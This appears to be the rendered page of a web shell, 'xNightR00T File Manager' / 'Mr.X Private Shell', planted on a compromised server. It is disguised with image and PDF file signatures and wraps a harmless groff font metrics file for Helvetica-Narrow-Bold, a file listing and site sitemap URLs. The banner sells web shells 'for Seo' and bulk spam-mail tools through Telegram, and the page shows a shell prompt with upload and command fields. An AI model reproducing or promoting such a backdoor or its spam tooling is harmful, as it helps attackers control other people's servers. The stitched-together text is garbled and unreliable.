xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
name HNB
internalname Helvetica-Narrow-Bold
spacewidth 228
encoding text.enc
ligatures fi fl 0
kernpairs
A y -24
A w -24
A v -32
A u -24
A Y -89
A W -48
A V -65
A U -40
A T -73
A Q -32
A O -32
A G -40
A C -32
B U -7
B A -24
D . -24
D , -24
D Y -56
D W -32
D V -32
D A -32
F . -81
F , -81
F a -15
F A -65
J u -15
J . -15
J , -15
J A -15
K y -32
K u -24
K o -28
K e -11
K O -24
L y -24
L ' -114
L cq -114
L rq -114
L Y -97
L W -65
L V -89
L T -73
O . -32
O , -32
O Y -56
O X -40
O W -40
O V -40
O T -32
O A -40
P . -97
P o -32
P e -24
P , -97
P a -24
P A -81
Q . 16
Q , 16
Q U -7
R Y -40
R W -32
R V -40
R U -15
R T -15
R O -15
T y -48
T w -48
T u -73
T ; -32
T r -65
T . -65
T o -65
T - -97
T hy -97
T e -48
T , -65
T : -32
T a -65
T O -32
T A -73
U . -24
U , -24
U A -40
V u -48
V ; -32
V . -97
V o -73
V - -65
V hy -65
V e -40
V , -97
V : -32
V a -48
V O -40
V G -40
V A -65
W y -15
W u -36
W ; -7
W . -65
W o -48
W - -32
W hy -32
W e -28
W , -65
W : -7
W a -32
W O -15
W A -48
Y u -81
Y ; -40
Y . -81
Y o -81
Y e -65
Y , -81
Y : -40
Y a -73
Y O -56
Y A -89
a y -15
a w -11
a v -11
a g -7
b y -15
b v -15
b u -15
b l -7
c y -7
c l -15
c k -15
c h -7
: u0020 -32
, u0020 -32
, ' -97
, cq -97
, rq -97
d y -11
d w -11
d v -11
d d -7
e y -11
e x -11
e w -11
e v -11
e . 16
e , 8
f ' 25
f cq 25
f rq 25
f . -7
f o -15
f e -7
f , -7
g g -7
g e 8
h y -15
k o -11
l y -11
l w -11
m y -24
m u -15
n y -15
n v -32
n u -7
o y -15
o x -24
o w -11
o v -15
p y -11
. u0020 -32
. ' -97
. cq -97
. rq -97
rq u0020 -65
` ` -37
` oq -37
oq ` -37
oq oq -37
' v -15
cq v -15
' u0020 -65
cq u0020 -65
' s -48
cq s -48
' r -32
cq r -32
' ' -37
' cq -37
cq ' -37
cq cq -37
' l -15
cq l -15
' d -65
cq d -65
r y 8
r v 8
r t 16
r s -11
r q -15
r . -48
r o -15
r - -15
r hy -15
r g -11
r d -15
r , -48
r c -15
s w -11
; u0020 -32
u0020 ` -48
u0020 oq -48
u0020 lq -65
u0020 Y -97
u0020 W -65
u0020 V -65
u0020 T -81
v . -65
v o -24
v , -65
v a -15
w . -32
w o -15
w , -32
x e -7
y . -65
y o -20
y e -7
y , -65
y a -24
z e 8
charset
ha	479,698	2	0	asciicircum
ti	479,343	0	1	asciitilde
vS	547,936,19	2	2	Scaron
vZ	501,936	2	3	Zcaron
vs	456,750,14	2	4	scaron
vz	410,750	2	5	zcaron
:Y	547,915	2	6	Ydieresis
tm	820,718	2	7	trademark
aq	195,718	2	8	quotesingle
space	228	0	32	space
!	273,718	2	33	exclam
"	389,718	2	34	quotedbl
dq	"
#	456,698	2	35	numbersign
sh	"
$	456,775,115	2	36	dollar
Do	"
%	729,710,19	2	37	percent
&	592,718,19	2	38	ampersand
'	228,718	2	39	quoteright
cq	"
(	273,734,208	3	40	parenleft
)	273,734,208	3	41	parenright
*	319,718	2	42	asterisk
+	479,506	0	43	plus
,	228,146,168	0	44	comma
-	273,345	0	45	hyphen
hy	"
.	228,146	0	46	period
/	228,737,19,27,27	2	47	slash
sl	"
0	456,710,19	2	48	zero
1	456,710	2	49	one
2	456,710	2	50	two
3	456,710,19	2	51	three
4	456,710	2	52	four
5	456,698,19	2	53	five
6	456,710,19	2	54	six
7	456,698	2	55	seven
8	456,710,19	2	56	eight
9	456,710,19	2	57	nine
:	273,512	0	58	colon
;	273,512,168	0	59	semicolon
<	479,514,8	0	60	less
=	479,419	0	61	equal
>	479,514,8	0	62	greater
?	501,727	2	63	question
@	800,737,19	2	64	at
at	"
A	592,718	2	65	A
B	592,718	2	66	B
C	592,737,19	2	67	C
D	592,718	2	68	D
E	547,718	2	69	E
F	501,718	2	70	F
G	638,737,19	2	71	G
H	592,718	2	72	H
I	228,718	2	73	I
J	456,718,18	2	74	J
K	592,718	2	75	K
L	501,718	2	76	L
M	683,718	2	77	M
N	592,718	2	78	N
O	638,737,19	2	79	O
P	547,718	2	80	P
Q	638,737,52	2	81	Q
R	592,718	2	82	R
S	547,737,19	2	83	S
T	501,718	2	84	T
U	592,718,19	2	85	U
V	547,718	2	86	V
W	774,718	2	87	W
X	547,718	2	88	X
Y	547,718	2	89	Y
Z	501,718	2	90	Z
[	273,722,196	2	91	bracketleft
lB	"
\	228,737,19,27,27	2	92	backslash
rs	"
]	273,722,196	2	93	bracketright
rB	"
a^	273,750,0,8,8	2	94	circumflex
^	"
_	456,0,125	0	95	underscore
`	228,727	2	96	quoteleft
oq	"
a	456,546,14	0	97	a
b	501,718,14	2	98	b
c	456,546,14	0	99	c
d	501,718,14	2	100	d
e	456,546,14	0	101	e
f	273,727	2	102	f
g	501,546,217	1	103	g
h	501,718	2	104	h
i	228,725	2	105	i
j	228,725,214	3	106	j
k	456,718,0,5	2	107	k
l	228,718	2	108	l
m	729,546	0	109	m
n	501,546	0	110	n
o	501,546,14	0	111	o
p	501,546,207	1	112	p
q	501,546,207	1	113	q
r	319,546	0	114	r
s	456,546,14	0	115	s
t	273,676,6	2	116	t
u	501,532,14	0	117	u
v	456,532	0	118	v
w	638,532	0	119	w
x	456,532	0	120	x
y	456,532,214	1	121	y
z	410,532	0	122	z
lC	319,722,196	2	123	braceleft
{	"
ba	230,737,19	2	124	bar
|	"
rC	319,722,196	2	125	braceright
}	"
a~	273,737,0,14,14	2	126	tilde
~	"
bq	228,127,146	0	128	quotesinglbase
Fo	456,484	0	129	guillemotleft
Fc	456,484	0	130	guillemotright
bu	287,524	0	131	bullet
Fn	456,737,210,0,8	3	132	florin
f/	137,710,19,139,139	2	133	fraction
%0	820,710,19,2,2	2	134	perthousand
dg	456,718,171	2	135	dagger
dd	456,718,171	2	136	daggerdbl
en	456,333	0	137	endash
em	820,333	0	138	emdash
fi	501,727	2	140	fi
fl	501,727	2	141	fl
.i	228,532	0	144	dotlessi
ga	273,750,0,0,19	2	146	grave
a"	273,750,0,126	2	147	hungarumlaut
a.	273,729	2	148	dotaccent
ab	273,750,0,2,2	2	149	breve
ah	273,750,0,8,8	2	150	caron
ao	273,776	2	151	ring
ho	273,0,228	1	152	ogonek
lq	410,727	2	153	quotedblleft
rq	410,718	2	154	quotedblright
oe	774,546,14	0	155	oe
/l	228,718,0,15,15	2	156	lslash
Bq	410,127,146	0	157	quotedblbase
OE	820,737,19	2	158	OE
/L	501,718,0,0,16	2	159	Lslash
r!	273,532,186	0	161	exclamdown
ct	456,628,118	0	162	cent
Po	456,718,16	2	163	sterling
Cs	456,636,0,2,2	0	164	currency
Ye	456,698,0,7,7	2	165	yen
bb	230,737,19	2	166	brokenbar
sc	456,727,184	2	167	section
ad	273,729	2	168	dieresis
co	604,737,19,10,9	2	169	copyright
Of	303,737	2	170	ordfeminine
fo	273,484	0	171	guilsinglleft
tno	479,419	0	172	logicalnot
\-	479,309	0	173	minus
rg	604,737,19,9,9	2	174	registered
a-	273,678,0,5,5	2	175	macron
de	328,712	2	176	degree
t+-	479,506	0	177	plusminus
S2	273,710	2	178	twosuperior
S3	273,710	2	179	threesuperior
aa	273,750,0,19	2	180	acute
mc	501,532,207	1	181	mu
ps	456,700,191,0,7	2	182	paragraph
pc	228,334	0	183	periodcentered
ac	273,0,228	1	184	cedilla
S1	273,710	2	185	onesuperior
Om	299,737	2	186	ordmasculine
fc	273,484	0	187	guilsinglright
14	684,710,19	2	188	onequarter
12	684,710,19	2	189	onehalf
34	684,710,19	2	190	threequarters
r?	501,532,195	0	191	questiondown
`A	592,936	2	192	Agrave
'A	592,936	2	193	Aacute
^A	592,936	2	194	Acircumflex
~A	592,923	2	195	Atilde
:A	592,915	2	196	Adieresis
oA	592,962	2	197	Aring
AE	820,718	2	198	AE
,C	592,737,228	3	199	Ccedilla
`E	547,936	2	200	Egrave
'E	547,936	2	201	Eacute
^E	547,936	2	202	Ecircumflex
:E	547,915	2	203	Edieresis
`I	228,936,0,0,41	2	204	Igrave
'I	228,936,0,42	2	205	Iacute
^I	228,936,0,31,30	2	206	Icircumflex
:I	228,915,0,18,17	2	207	Idieresis
-D	592,718,0,0,4	2	208	Eth
~N	592,923	2	209	Ntilde
`O	638,936,19	2	210	Ograve
'O	638,936,19	2	211	Oacute
^O	638,936,19	2	212	Ocircumflex
~O	638,923,19	2	213	Otilde
:O	638,915,19	2	214	Odieresis
tmu	479,505	0	215	multiply
/O	638,745,27	2	216	Oslash
`U	592,936,19	2	217	Ugrave
'U	592,936,19	2	218	Uacute
^U	592,936,19	2	219	Ucircumflex
:U	592,915,19	2	220	Udieresis
'Y	547,936	2	221	Yacute
TP	547,718	2	222	Thorn
ss	501,731,14	2	223	germandbls
`a	456,750,14	2	224	agrave
'a	456,750,14	2	225	aacute
^a	456,750,14	2	226	acircumflex
~a	456,737,14	2	227	atilde
:a	456,729,14	2	228	adieresis
oa	456,776,14	2	229	aring
ae	729,546,14	0	230	ae
,c	456,546,228	1	231	ccedilla
`e	456,750,14	2	232	egrave
'e	456,750,14	2	233	eacute
^e	456,750,14	2	234	ecircumflex
:e	456,729,14	2	235	edieresis
`i	228,750,0,0,41	2	236	igrave
'i	228,750,0,42	2	237	iacute
^i	228,750,0,31,30	2	238	icircumflex
:i	228,729,0,18,17	2	239	idieresis
Sd	501,737,14	2	240	eth
~n	501,737	2	241	ntilde
`o	501,750,14	2	242	ograve
'o	501,750,14	2	243	oacute
^o	501,750,14	2	244	ocircumflex
~o	501,737,14	2	245	otilde
:o	501,729,14	2	246	odieresis
tdi	479,548,42	0	247	divide
/o	501,560,29	0	248	oslash
`u	501,750,14	2	249	ugrave
'u	501,750,14	2	250	uacute
^u	501,750,14	2	251	ucircumflex
:u	501,729,14	2	252	udieresis
'y	456,750,214	3	253	yacute
Tp	501,718,208	3	254	thorn
:y	456,729,214	3	255	ydieresis
u2026	820,146	0	256	ellipsis

Filemanager

Name Type Size Permission Actions
CB File 6.79 KB 0644
CBI File 9.21 KB 0644
CI File 9.19 KB 0644
CR File 6.6 KB 0644
HB File 7.78 KB 0644
HBI File 10.12 KB 0644
HI File 10.45 KB 0644
HNB File 7.73 KB 0644
HNBI File 10.04 KB 0644
HNI File 10.38 KB 0644
HNR File 8.01 KB 0644
HR File 8.04 KB 0644
NB File 7.16 KB 0644
NBI File 9.78 KB 0644
NI File 9.37 KB 0644
NR File 7.47 KB 0644
PB File 6.89 KB 0644
PBI File 8.86 KB 0644
PI File 8.78 KB 0644
PR File 6.92 KB 0644
S File 5.64 KB 0644
SS File 7.27 KB 0644
TB File 7.56 KB 0644
TBI File 9.33 KB 0644
TI File 9.55 KB 0644
TR File 7.44 KB 0644
symbol.afm File 9.51 KB 0644
symbolsl.afm File 9.19 KB 0644
zapfdr.afm File 9.25 KB 0644
zapfdr.ps File 4.85 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml